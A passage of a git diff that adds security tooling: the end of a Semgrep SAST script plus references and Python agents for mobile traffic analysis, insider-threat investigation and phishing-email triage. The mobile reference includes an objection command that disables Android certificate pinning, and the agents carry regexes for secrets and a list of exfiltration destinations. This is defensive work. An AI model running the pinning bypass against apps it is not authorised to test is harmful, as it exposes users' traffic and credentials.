{}).get("metadata", {}).get("cwe", []), + "owasp": r.get("extra", {}).get("metadata", {}).get("owasp", []), + } + findings.append(finding) + severity_counts[severity] = severity_counts.get(severity, 0) + 1 + print(f"\n[*] Severity breakdown:") + for sev, count in sorted(severity_counts.items()): + print(f" {sev}: {count}") + return findings + + +def generate_sarif(findings, output_path): + """Convert Semgrep findings to SARIF 2.1.0 format.""" + rules, results = [], [] + seen_rules = set() + for f in findings: + rid = f["rule_id"] + if rid not in seen_rules: + rules.append({"id": rid, "shortDescription": {"text": f["message"][:200]}, + "defaultConfiguration": {"level": "warning"}}) + seen_rules.add(rid) + results.append({ + "ruleId": rid, "message": {"text": f["message"][:500]}, + "level": "error" if f["severity"] == "ERROR" else "warning", + "locations": [{"physicalLocation": { + "artifactLocation": {"uri": f["file"]}, + "region": {"startLine": f["line"]}}}], + }) + sarif = {"$schema": "https://json.schemastore.org/sarif-2.1.0.json", "version": "2.1.0", + "runs": [{"tool": {"driver": {"name": "Semgrep", "rules": rules}}, + "results": results}]} + with open(output_path, "w") as f: + json.dump(sarif, f, indent=2) + print(f"[*] SARIF report: {output_path}") + + +def apply_quality_gate(findings, fail_on="ERROR"): + """Apply quality gate based on severity threshold.""" + severity_order = {"INFO": 0, "WARNING": 1, "ERROR": 2} + threshold = severity_order.get(fail_on, 2) + blocking = [f for f in findings if severity_order.get(f["severity"], 0) >= threshold] + if blocking: + print(f"\n[!] QUALITY GATE FAILED: {len(blocking)} findings at {fail_on}+") + for b in blocking[:5]: + print(f" {b['file']}:{b['line']} - {b['rule_id']}") + return False + print(f"\n[+] Quality gate passed (threshold: {fail_on})") + return True + + +def generate_github_actions_workflow(config="auto"): + """Generate a GitHub Actions SAST workflow YAML.""" + workflow = f"""name: SAST Scan +on: + pull_request: + branches: [main] + push: + branches: [main] +jobs: + semgrep: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: returntocorp/semgrep-action@v1 + with: + config: {config} + generateSarif: "1" + - uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: semgrep.sarif + if: always() +""" + print("[*] Generated GitHub Actions workflow:") + print(workflow) + return workflow + + +def main(): + parser = argparse.ArgumentParser(description="SAST GitHub Actions Pipeline Agent") + parser.add_argument("action", choices=["scan", "parse", "sarif", "gate", "gen-workflow"]) + parser.add_argument("--target", default=".", help="Directory to scan") + parser.add_argument("--config", default="auto", help="Semgrep config (auto, p/ci, p/owasp)") + parser.add_argument("--report", help="Existing Semgrep JSON report") + parser.add_argument("--fail-on", default="ERROR", choices=["INFO", "WARNING", "ERROR"]) + parser.add_argument("-o", "--output", default=".") + args = parser.parse_args() + + os.makedirs(args.output, exist_ok=True) + if args.action == "scan": + data = run_semgrep_scan(args.target, args.config) + findings = parse_semgrep_results(data) + generate_sarif(findings, os.path.join(args.output, "semgrep.sarif")) + apply_quality_gate(findings, args.fail_on) + elif args.action == "parse": + with open(args.report) as f: + data = json.load(f) + parse_semgrep_results(data) + elif args.action == "sarif": + with open(args.report) as f: + data = json.load(f) + findings = parse_semgrep_results(data) + generate_sarif(findings, os.path.join(args.output, "semgrep.sarif")) + elif args.action == "gate": + with open(args.report) as f: + data = json.load(f) + findings = parse_semgrep_results(data) + passed = apply_quality_gate(findings, args.fail_on) + sys.exit(0 if passed else 1) + elif args.action == "gen-workflow": + generate_github_actions_workflow(args.config) + + +if __name__ == "__main__": + main() diff --git a/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE b/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md b/skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md new file mode 100644 index 00000000..7770167e --- /dev/null +++ b/skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Mobile Traffic Interception with Burp Suite + +## HAR (HTTP Archive) Format + +### Structure +```json +{"log": {"entries": [{"request": {"method": "GET", "url": "https://...", + "headers": [{"name": "Authorization", "value": "Bearer ..."}], + "postData": {"text": "..."}}, + "response": {"status": 200, "headers": [...], + "content": {"text": "..."}}}]}} +``` + +### Key HAR Fields +| Field | Description | +|-------|-------------| +| `request.url` | Full request URL | +| `request.method` | HTTP method | +| `request.headers` | Request headers array | +| `request.postData.text` | POST body content | +| `response.status` | HTTP status code | +| `response.content.text` | Response body | + +## Burp Suite Proxy Setup for Mobile +1. Set proxy listener: `127.0.0.1:8080` +2. Configure device WiFi proxy to Burp IP:8080 +3. Install Burp CA: `http://burp/cert` +4. Export traffic as HAR: Proxy > HTTP History > Save Items + +## mitmproxy Alternative +```bash +mitmproxy --mode regular --listen-port 8080 +mitmdump -w output.flow --set flow_detail=3 +# Convert to HAR: +mitmproxy2har output.flow > capture.har +``` + +## Certificate Pinning Bypass +| Platform | Tool | +|----------|------| +| Android | Frida + objection (`objection explore --startup-command 'android sslpinning disable'`) | +| iOS | SSL Kill Switch 2 (Cydia) | + +## Sensitive Data Patterns +| Type | Regex Pattern | +|------|---------------| +| Email | `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` | +| Credit Card | `\b(?:4\d{3}|5[1-5]\d{2})\d{12}\b` | +| JWT | `eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+` | + +## References +- Burp Suite: https://portswigger.net/burp/documentation +- HAR spec: https://w3c.github.io/web-performance/specs/HAR/Overview.html +- mitmproxy: https://docs.mitmproxy.org/stable/ diff --git a/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py b/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py new file mode 100644 index 00000000..16009406 --- /dev/null +++ b/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Agent for analyzing intercepted mobile app traffic via mitmproxy for security testing.""" + +import json +import argparse +import sys +import os +import re +from datetime import datetime +from urllib.parse import urlparse + + +def load_har_file(har_path): + """Load and parse an HTTP Archive (HAR) file from proxy capture.""" + with open(har_path) as f: + data = json.load(f) + entries = data.get("log", {}).get("entries", []) + print(f"[*] Loaded {len(entries)} requests from {har_path}") + return entries + + +def find_insecure_requests(entries): + """Identify HTTP (non-HTTPS) requests from mobile app.""" + findings = [] + for e in entries: + url = e.get("request", {}).get("url", "") + if url.startswith("http://"): + findings.append({"url": url, "method": e["request"].get("method"), + "issue": "Cleartext HTTP request", "severity": "HIGH"}) + print(f"\n[*] Insecure HTTP requests: {len(findings)}") + for f in findings[:10]: + print(f" [!] {f['method']} {f['url'][:80]}") + return findings + + +def detect_sensitive_data_leakage(entries): + """Scan request/response bodies for sensitive data patterns.""" + patterns = { + "email": r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", + "phone": r"\b\d{3}[-.]?\d{3}[-.]?\d{4}\b", + "ssn": r"\b\d{3}-\d{2}-\d{4}\b", + "credit_card": r"\b(?:4\d{3}|5[1-5]\d{2}|3[47]\d{2}|6011)\d{12}\b", + "api_key": r"(?:api[_-]?key|apikey|token)[\"']?\s*[:=]\s*[\"']?([a-zA-Z0-9_-]{20,})", + "jwt": r"eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+", + } + findings = [] + for e in entries: + url = e.get("request", {}).get("url", "") + body = e.get("request", {}).get("postData", {}).get("text", "") + resp_body = e.get("response", {}).get("content", {}).get("text", "") + combined = f"{body} {resp_body}" + for name, pattern in patterns.items(): + matches = re.findall(pattern, combined) + if matches: + findings.append({"url": url[:80], "data_type": name, + "count": len(matches), "severity": "HIGH"}) + print(f"\n[*] Sensitive data leakage findings: {len(findings)}") + for f in findings[:10]: + print(f" [!] {f['data_type']} in {f['url']} ({f['count']} occurrences)") + return findings + + +def check_auth_headers(entries): + """Analyze authentication headers and token handling.""" + findings = [] + for e in entries: + headers = {h["name"].lower(): h["value"] for h in e.get("request", {}).get("headers", [])} + url = e.get("request", {}).get("url", "") + if "authorization" in headers: + auth = headers["authorization"] + if auth.startswith("Basic "): + findings.append({"url": url[:80], "issue": "Basic auth over network", + "severity": "HIGH"}) + elif auth.startswith("Bearer "): + token = auth.split(" ", 1)[1] + if len(token) < 20: + findings.append({"url": url[:80], "issue": "Short bearer token", + "severity": "MEDIUM"}) + resp_headers = {h["name"].lower(): h["value"] + for h in e.get("response", {}).get("headers", [])} + if "set-cookie" in resp_headers: + cookie = resp_headers["set-cookie"] + if "secure" not in cookie.lower() or "httponly" not in cookie.lower(): + findings.append({"url": url[:80], "issue": "Cookie missing Secure/HttpOnly", + "severity": "MEDIUM"}) + print(f"\n[*] Auth/cookie findings: {len(findings)}") + return findings + + +def check_certificate_pinning(entries): + """Check for certificate pinning indicators in traffic.""" + domains = set() + for e in entries: + url = e.get("request", {}).get("url", "") + parsed = urlparse(url) + if parsed.scheme == "https": + domains.add(parsed.hostname) + print(f"\n[*] HTTPS domains contacted: {len(domains)}") + for d in sorted(domains)[:20]: + print(f" {d}") + print(" [*] Note: Certificate pinning bypass verified by successful interception") + return list(domains) + + +def check_api_security_headers(entries): + """Check API response security headers.""" + findings = [] + checked_hosts = set() + for e in entries: + url = e.get("request", {}).get("url", "") + host = urlparse(url).hostname + if host in checked_hosts: + continue + checked_hosts.add(host) + resp_headers = {h["name"].lower(): h["value"] + for h in e.get("response", {}).get("headers", [])} + missing = [] + for hdr in ["strict-transport-security", "x-content-type-options", + "x-frame-options", "content-security-policy"]: + if hdr not in resp_headers: + missing.append(hdr) + if missing: + findings.append({"host": host, "missing_headers": missing, "severity": "MEDIUM"}) + print(f"\n[*] Security header findings: {len(findings)}") + return findings + + +def generate_report(all_findings, output_path): + """Generate mobile traffic analysis report.""" + report = {"analysis_date": datetime.now().isoformat(), "total_findings": len(all_findings), + "findings": all_findings} + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Mobile Traffic Interception Analysis Agent") + parser.add_argument("action", choices=["analyze", "insecure", "leakage", "auth", "full"]) + parser.add_argument("--har", required=True, help="Path to HAR file from proxy capture") + parser.add_argument("-o", "--output", default="mobile_traffic_report.json") + args = parser.parse_args() + + entries = load_har_file(args.har) + findings = [] + if args.action in ("insecure", "full"): + findings.extend(find_insecure_requests(entries)) + if args.action in ("leakage", "full"): + findings.extend(detect_sensitive_data_leakage(entries)) + if args.action in ("auth", "full"): + findings.extend(check_auth_headers(entries)) + if args.action in ("analyze", "full"): + check_certificate_pinning(entries) + findings.extend(check_api_security_headers(entries)) + if args.action == "full": + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/investigating-insider-threat-indicators/LICENSE b/skills/investigating-insider-threat-indicators/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/investigating-insider-threat-indicators/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/investigating-insider-threat-indicators/references/api-reference.md b/skills/investigating-insider-threat-indicators/references/api-reference.md new file mode 100644 index 00000000..757bf1c6 --- /dev/null +++ b/skills/investigating-insider-threat-indicators/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Investigating Insider Threat Indicators + +## Splunk REST API (SIEM Queries) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/services/search/jobs` | POST | Submit SPL search for user activity timeline | +| `/services/search/jobs/{sid}/results` | GET | Retrieve search results for DLP and access data | +| `/services/saved/searches` | GET | List saved insider threat correlation searches | + +## Microsoft Purview DLP API (Graph) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/security/alerts_v2` | GET | Retrieve DLP policy violation alerts | +| `/security/incidents` | GET | List incidents with insider threat classification | +| `/compliance/ediscovery/cases` | POST | Create eDiscovery case for evidence preservation | + +## Microsoft Graph (O365 Activity) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/auditLogs/signIns` | GET | Query user sign-in logs with location and device | +| `/auditLogs/directoryAudits` | GET | Directory change audit (role assignments, group changes) | +| `/users/{id}/mailFolders/{id}/messages` | GET | Search mailbox for exfiltration via email | + +## Key Libraries + +- **splunk-sdk**: Python SDK for submitting SPL queries and retrieving results +- **msgraph-sdk**: Microsoft Graph API for O365 audit logs and DLP alerts +- **hashlib** (stdlib): SHA-256 hashing for chain-of-custody evidence integrity +- **csv** (stdlib): Parse exported DLP alert data and access logs + +## Evidence Handling + +| Function | Purpose | +|----------|---------| +| `hashlib.sha256()` | Generate file hash for chain-of-custody log | +| `json.dump()` | Serialize evidence metadata with timestamps | +| `os.path.getsize()` | Record evidence file sizes | + +## Configuration + +| Variable | Description | +|----------|-------------| +| `SPLUNK_HOST` | Splunk search head URL for REST API queries | +| `SPLUNK_TOKEN` | Bearer token for Splunk authentication | +| `GRAPH_CLIENT_ID` | Azure AD app registration for Graph API access | +| `GRAPH_TENANT_ID` | Azure AD tenant ID | + +## References + +- [Splunk REST API Reference](https://docs.splunk.com/Documentation/Splunk/latest/RESTREF) +- [Microsoft Purview DLP](https://learn.microsoft.com/en-us/purview/dlp-learn-about-dlp) +- [CISA Insider Threat Guide](https://www.cisa.gov/topics/physical-security/insider-threat-mitigation) +- [CERT Insider Threat Center](https://insights.sei.cmu.edu/library/common-sense-guide-to-mitigating-insider-threats/) diff --git a/skills/investigating-insider-threat-indicators/scripts/agent.py b/skills/investigating-insider-threat-indicators/scripts/agent.py new file mode 100644 index 00000000..4a11a6ae --- /dev/null +++ b/skills/investigating-insider-threat-indicators/scripts/agent.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +""" +Insider Threat Investigation Agent +Automates insider threat indicator collection by correlating SIEM data, +DLP alerts, access logs, and HR events to build investigation timelines. +""" + +import csv +import hashlib +import json +import os +import sys +from datetime import datetime, timezone, timedelta + + +def load_dlp_alerts(filepath: str) -> list[dict]: + """Load DLP alert data from exported CSV.""" + alerts = [] + if not os.path.exists(filepath): + print(f"[!] DLP alerts file not found: {filepath}") + return alerts + with open(filepath, "r", newline="") as f: + reader = csv.DictReader(f) + for row in reader: + alerts.append({ + "timestamp": row.get("timestamp", ""), + "user": row.get("user", ""), + "policy": row.get("policy_name", ""), + "action": row.get("action", ""), + "destination": row.get("destination", ""), + "file_count": int(row.get("file_count", 0)), + "bytes_transferred": int(row.get("bytes_transferred", 0)), + "severity": row.get("severity", "medium"), + }) + return alerts + + +def load_access_logs(filepath: str) -> list[dict]: + """Load authentication and access logs from exported JSON.""" + if not os.path.exists(filepath): + print(f"[!] Access logs file not found: {filepath}") + return [] + with open(filepath, "r") as f: + return json.load(f) + + +def analyze_data_movement(dlp_alerts: list[dict], subject_user: str) -> dict: + """Analyze data exfiltration indicators for the subject.""" + user_alerts = [a for a in dlp_alerts if a["user"].lower() == subject_user.lower()] + + total_bytes = sum(a["bytes_transferred"] for a in user_alerts) + total_files = sum(a["file_count"] for a in user_alerts) + destinations = {} + for alert in user_alerts: + dest = alert["destination"] + destinations[dest] = destinations.get(dest, 0) + alert["file_count"] + + high_severity = [a for a in user_alerts if a["severity"] == "high"] + + return { + "total_alerts": len(user_alerts), + "total_bytes_transferred": total_bytes, + "total_bytes_gb": round(total_bytes / (1024**3), 2), + "total_files": total_files, + "destinations": destinations, + "high_severity_alerts": len(high_severity), + "alert_details": user_alerts, + } + + +def analyze_access_patterns(access_logs: list[dict], subject_user: str) -> dict: + """Detect anomalous access patterns for the subject.""" + user_logs = [l for l in access_logs if l.get("user", "").lower() == subject_user.lower()] + + off_hours_events = [] + weekend_events = [] + unique_apps = set() + unique_ips = set() + + for log in user_logs: + ts = log.get("timestamp", "") + try: + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + hour = dt.hour + weekday = dt.weekday() + if hour < 7 or hour > 19: + off_hours_events.append(log) + if weekday >= 5: + weekend_events.append(log) + except (ValueError, AttributeError): + pass + + unique_apps.add(log.get("application", "unknown")) + unique_ips.add(log.get("source_ip", "unknown")) + + return { + "total_events": len(user_logs), + "off_hours_events": len(off_hours_events), + "off_hours_pct": round(len(off_hours_events) / max(len(user_logs), 1) * 100, 1), + "weekend_events": len(weekend_events), + "weekend_pct": round(len(weekend_events) / max(len(user_logs), 1) * 100, 1), + "unique_applications": sorted(unique_apps), + "unique_source_ips": sorted(unique_ips), + } + + +def detect_pre_departure_indicators( + data_movement: dict, access_patterns: dict, notice_date: str +) -> list[dict]: + """Identify pre-departure behavioral indicators.""" + indicators = [] + + if data_movement["total_bytes_gb"] > 1.0: + indicators.append({ + "severity": "HIGH", + "indicator": "Bulk data transfer", + "detail": f"{data_movement['total_bytes_gb']} GB transferred across {data_movement['total_files']} files", + }) + + if data_movement["high_severity_alerts"] > 0: + indicators.append({ + "severity": "HIGH", + "indicator": "High-severity DLP violations", + "detail": f"{data_movement['high_severity_alerts']} high-severity DLP alerts triggered", + }) + + personal_storage = ["dropbox", "drive.google", "onedrive.live", "mega.nz", "wetransfer"] + for dest, count in data_movement["destinations"].items(): + if any(ps in dest.lower() for ps in personal_storage): + indicators.append({ + "severity": "HIGH", + "indicator": "Transfer to personal cloud storage", + "detail": f"{count} files sent to {dest}", + }) + + if access_patterns["off_hours_pct"] > 30: + indicators.append({ + "severity": "MEDIUM", + "indicator": "Elevated off-hours activity", + "detail": f"{access_patterns['off_hours_pct']}% of activity outside business hours", + }) + + if access_patterns["weekend_pct"] > 15: + indicators.append({ + "severity": "MEDIUM", + "indicator": "Elevated weekend activity", + "detail": f"{access_patterns['weekend_pct']}% of activity on weekends", + }) + + if len(access_patterns["unique_applications"]) > 15: + indicators.append({ + "severity": "MEDIUM", + "indicator": "Broad application access", + "detail": f"Accessed {len(access_patterns['unique_applications'])} unique applications", + }) + + return indicators + + +def create_evidence_log(case_id: str, evidence_files: list[str]) -> dict: + """Create chain-of-custody evidence log with file hashes.""" + items = [] + for filepath in evidence_files: + if os.path.exists(filepath): + with open(filepath, "rb") as f: + content = f.read() + items.append({ + "item_id": f"EV-{len(items)+1:03d}", + "file": filepath, + "sha256": hashlib.sha256(content).hexdigest(), + "size_bytes": len(content), + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + + return { + "case_id": case_id, + "created_at": datetime.now(timezone.utc).isoformat(), + "investigator": os.getenv("USER", "soc_analyst"), + "evidence_items": items, + } + + +def generate_report(case_id: str, subject: str, data_mv: dict, access: dict, indicators: list) -> str: + """Generate insider threat investigation report.""" + lines = [ + f"INSIDER THREAT INVESTIGATION REPORT - {case_id}", + "=" * 55, + f"Subject: {subject}", + f"Report Generated: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "DATA MOVEMENT ANALYSIS:", + f" DLP Alerts: {data_mv['total_alerts']}", + f" Data Transferred: {data_mv['total_bytes_gb']} GB ({data_mv['total_files']} files)", + f" High-Severity Alerts: {data_mv['high_severity_alerts']}", + f" Destinations: {json.dumps(data_mv['destinations'], indent=4)}", + "", + "ACCESS PATTERN ANALYSIS:", + f" Total Events: {access['total_events']}", + f" Off-Hours Activity: {access['off_hours_pct']}%", + f" Weekend Activity: {access['weekend_pct']}%", + f" Applications Accessed: {len(access['unique_applications'])}", + "", + f"INDICATORS IDENTIFIED: {len(indicators)}", + "-" * 40, + ] + for ind in indicators: + lines.append(f" [{ind['severity']}] {ind['indicator']}: {ind['detail']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + case_id = sys.argv[1] if len(sys.argv) > 1 else "IT-2024-0001" + subject_user = sys.argv[2] if len(sys.argv) > 2 else "jsmith" + dlp_file = sys.argv[3] if len(sys.argv) > 3 else "dlp_alerts.csv" + access_file = sys.argv[4] if len(sys.argv) > 4 else "access_logs.json" + + print(f"[*] Starting insider threat investigation: {case_id}") + print(f"[*] Subject: {subject_user}") + + dlp_alerts = load_dlp_alerts(dlp_file) + access_logs = load_access_logs(access_file) + + data_movement = analyze_data_movement(dlp_alerts, subject_user) + access_patterns = analyze_access_patterns(access_logs, subject_user) + indicators = detect_pre_departure_indicators(data_movement, access_patterns, "2024-03-15") + + report = generate_report(case_id, subject_user, data_movement, access_patterns, indicators) + print(report) + + output = f"insider_threat_{case_id}_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"data_movement": data_movement, "access_patterns": access_patterns, "indicators": indicators}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/investigating-phishing-email-incident/LICENSE b/skills/investigating-phishing-email-incident/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/investigating-phishing-email-incident/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/investigating-phishing-email-incident/references/api-reference.md b/skills/investigating-phishing-email-incident/references/api-reference.md new file mode 100644 index 00000000..28b012ab --- /dev/null +++ b/skills/investigating-phishing-email-incident/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Investigating Phishing Email Incident + +## URLScan.io API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/scan/` | POST | Submit URL for scanning (returns task UUID) | +| `/api/v1/result/{uuid}/` | GET | Retrieve scan results including screenshot and DOM | +| `/api/v1/search/?q=domain:example.com` | GET | Search for previous scans of a domain | + +## VirusTotal API v3 + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v3/urls` | POST | Submit URL for analysis | +| `/api/v3/analyses/{id}` | GET | Get URL analysis results with engine verdicts | +| `/api/v3/files/{hash}` | GET | Look up file hash (MD5/SHA-256) for reputation | +| `/api/v3/files` | POST | Upload file for scanning | + +## MalwareBazaar API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `https://mb-api.abuse.ch/api/v1/` | POST | Query by hash, tag, or signature name | + +## Microsoft Graph (Email Operations) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v1.0/users/{id}/messages` | GET | Search mailbox for phishing message copies | +| `/security/alerts_v2` | GET | Retrieve Defender for O365 phishing alerts | +| `/security/incidents/{id}` | GET | Get incident details with affected entities | + +## Exchange Online (Compliance Search) + +| Cmdlet | Description | +|--------|-------------| +| `New-ComplianceSearch` | Create search across all mailboxes by subject/sender | +| `Start-ComplianceSearch` | Execute the compliance search | +| `New-ComplianceSearchAction -Purge` | Purge matched emails (SoftDelete or HardDelete) | + +## Key Libraries + +- **requests**: HTTP client for URLScan.io, VirusTotal, and MalwareBazaar APIs +- **email** (stdlib): Parse .eml files and extract headers, body, and attachments +- **hashlib** (stdlib): Calculate MD5/SHA-256 hashes for attachment analysis +- **vt-py**: Official VirusTotal Python SDK for enrichment queries + +## Configuration + +| Variable | Description | +|----------|-------------| +| `VT_API_KEY` | VirusTotal API key for URL and file hash lookups | +| `URLSCAN_API_KEY` | URLScan.io API key for URL submission | +| `GRAPH_ACCESS_TOKEN` | Microsoft Graph bearer token for email search | + +## References + +- [URLScan.io API Docs](https://urlscan.io/docs/api/) +- [VirusTotal API v3](https://docs.virustotal.com/reference/overview) +- [MalwareBazaar API](https://bazaar.abuse.ch/api/) +- [Microsoft Compliance Search](https://learn.microsoft.com/en-us/purview/ediscovery-content-search) diff --git a/skills/investigating-phishing-email-incident/scripts/agent.py b/skills/investigating-phishing-email-incident/scripts/agent.py new file mode 100644 index 00000000..11b022eb --- /dev/null +++ b/skills/investigating-phishing-email-incident/scripts/agent.py @@ -0,0 +1,217 @@ +#!/usr/bin/env python3 +""" +Phishing Email Investigation Agent +Analyzes reported phishing emails by parsing headers, checking URL/attachment +reputation via VirusTotal and URLScan.io, and identifying impacted recipients. +""" + +import email +import email.policy +import hashlib +import json +import re +import sys +import time +from datetime import datetime, timezone + +import requests + + +VT_API_KEY = "" # Set via environment or config +URLSCAN_API_KEY = "" # Set via environment or config + + +def parse_email_headers(eml_path: str) -> dict: + """Parse an .eml file and extract investigation-relevant headers.""" + with open(eml_path, "rb") as f: + msg = email.message_from_binary_file(f, policy=email.policy.default) + + auth_results = msg.get("Authentication-Results", "") + spf_match = re.search(r"spf=(\w+)", auth_results) + dkim_match = re.search(r"dkim=(\w+)", auth_results) + dmarc_match = re.search(r"dmarc=(\w+)", auth_results) + + received_chain = [] + for hdr in reversed(msg.get_all("Received", [])): + received_chain.append(hdr.strip()[:200]) + + return { + "from": msg["From"], + "return_path": msg.get("Return-Path", ""), + "reply_to": msg.get("Reply-To", ""), + "subject": msg["Subject"], + "message_id": msg["Message-ID"], + "date": msg["Date"], + "x_originating_ip": msg.get("X-Originating-IP", ""), + "spf": spf_match.group(1) if spf_match else "not found", + "dkim": dkim_match.group(1) if dkim_match else "not found", + "dmarc": dmarc_match.group(1) if dmarc_match else "not found", + "received_chain": received_chain, + } + + +def extract_urls_from_email(eml_path: str) -> list[str]: + """Extract all URLs from email body.""" + with open(eml_path, "rb") as f: + msg = email.message_from_binary_file(f, policy=email.policy.default) + + body = "" + if msg.is_multipart(): + for part in msg.walk(): + ctype = part.get_content_type() + if ctype in ("text/plain", "text/html"): + payload = part.get_payload(decode=True) + if payload: + body += payload.decode("utf-8", errors="ignore") + else: + payload = msg.get_payload(decode=True) + if payload: + body = payload.decode("utf-8", errors="ignore") + + url_pattern = re.compile(r'https?://[^\s<>"\')\]]+') + return list(set(url_pattern.findall(body))) + + +def check_url_urlscan(url: str, api_key: str) -> dict: + """Submit URL to URLScan.io for analysis.""" + if not api_key: + return {"error": "URLSCAN_API_KEY not set"} + + resp = requests.post( + "https://urlscan.io/api/v1/scan/", + headers={"API-Key": api_key, "Content-Type": "application/json"}, + json={"url": url, "visibility": "unlisted"}, + timeout=30, + ) + if resp.status_code == 200: + data = resp.json() + return {"uuid": data.get("uuid", ""), "result_url": data.get("result", "")} + return {"error": f"URLScan returned {resp.status_code}: {resp.text[:200]}"} + + +def check_url_virustotal(url: str, api_key: str) -> dict: + """Check URL reputation on VirusTotal.""" + if not api_key: + return {"error": "VT_API_KEY not set"} + + resp = requests.post( + "https://www.virustotal.com/api/v3/urls", + headers={"x-apikey": api_key}, + data={"url": url}, + timeout=30, + ) + if resp.status_code == 200: + analysis_id = resp.json().get("data", {}).get("id", "") + time.sleep(15) + result = requests.get( + f"https://www.virustotal.com/api/v3/analyses/{analysis_id}", + headers={"x-apikey": api_key}, + timeout=30, + ) + if result.status_code == 200: + stats = result.json().get("data", {}).get("attributes", {}).get("stats", {}) + return {"malicious": stats.get("malicious", 0), "suspicious": stats.get("suspicious", 0), + "harmless": stats.get("harmless", 0), "undetected": stats.get("undetected", 0)} + return 